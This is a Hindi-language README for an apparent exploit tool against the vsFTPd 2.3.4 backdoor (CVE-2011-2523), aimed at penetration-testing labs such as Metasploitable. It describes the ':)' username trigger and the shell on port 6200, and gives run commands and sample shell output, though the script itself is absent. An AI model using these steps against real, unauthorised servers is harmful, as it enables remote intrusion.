CVE-2011-2523 शोषण (vsFTPd 2.3.4 बैकडोर)

यह प्रोजेक्ट Python और pwntools का उपयोग करके vsFTPd 2.3.4 बैकडोर कमजोरी (CVE-2011-2523) के शोषण को प्रदर्शित करता है।

अस्वीकरण: यह प्रोजेक्ट केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए है। बिना अनुमति के सिस्टम के विरुद्ध इसका उपयोग न करें।

कमजोरी का अवलोकन

• CVE ID: CVE-2011-2523
• प्रभावित सॉफ्टवेयर: vsFTPd 2.3.4
• प्रकार: बैकडोर / दूरस्थ कमांड निष्पादन
• पोर्ट: 21 (FTP), 6200 (बैकडोर शेल)

👉 vsFTPd का कमजोर संस्करण एक दुर्भावनापूर्ण बैकडोर रखता है जो लॉगिन के दौरान :) वाले उपयोगकर्ता नाम का उपयोग करने पर ट्रिगर होता है।

शोषण कैसे काम करता है

1. लक्ष्य FTP सर्वर से जुड़ता है
2. जाँचता है कि संस्करण vsFTPd 2.3.4 है या नहीं
3. एक विशेष रूप से तैयार उपयोगकर्ता नाम (USER hello:)) भेजता है
4. छिपे हुए बैकडोर को ट्रिगर करता है
5. पोर्ट 6200 से जुड़ता है
6. एक इंटरैक्टिव शेल खोलता है

🛠️ आवश्यकताएँ

• Python 3
• pwntools लाइब्रेरी

निर्भरताएँ स्थापित करें:

pip install pwntools

उपयोग

🔹 शोषण चलाएँ

python3 exploit.py <TARGET_IP>

🔹 वैकल्पिक: पोर्ट निर्दिष्ट करें

python3 exploit.py <TARGET_IP> <PORT>

उदाहरण

python3 exploit.py 192.168.190.140

अपेक्षित आउटपुट

[+] Checking FTP Version...
[+] Triggering backdoor...
[+] Connecting to backdoor....
[+] Got Shell
$

महत्वपूर्ण नोट्स

• लक्ष्य पर vsFTPd 2.3.4 (कमजोर संस्करण) चल रहा होना चाहिए

• पोर्ट 6200 पहुंच योग्य होना चाहिए

• इस प्रकार के प्रयोगशाला वातावरण में सबसे अच्छा काम करता है:

  • Metasploitable
  • कमजोर वर्चुअल मशीनें

सुधार (भविष्य का काम)

• एकाधिक FTP संस्करणों का स्वतः पता लगाना
• रिवर्स शेल पेलोड जोड़ें
• बहु-लक्ष्य स्कैनिंग समर्थन
• स्वचालन उपकरणों के साथ एकीकरण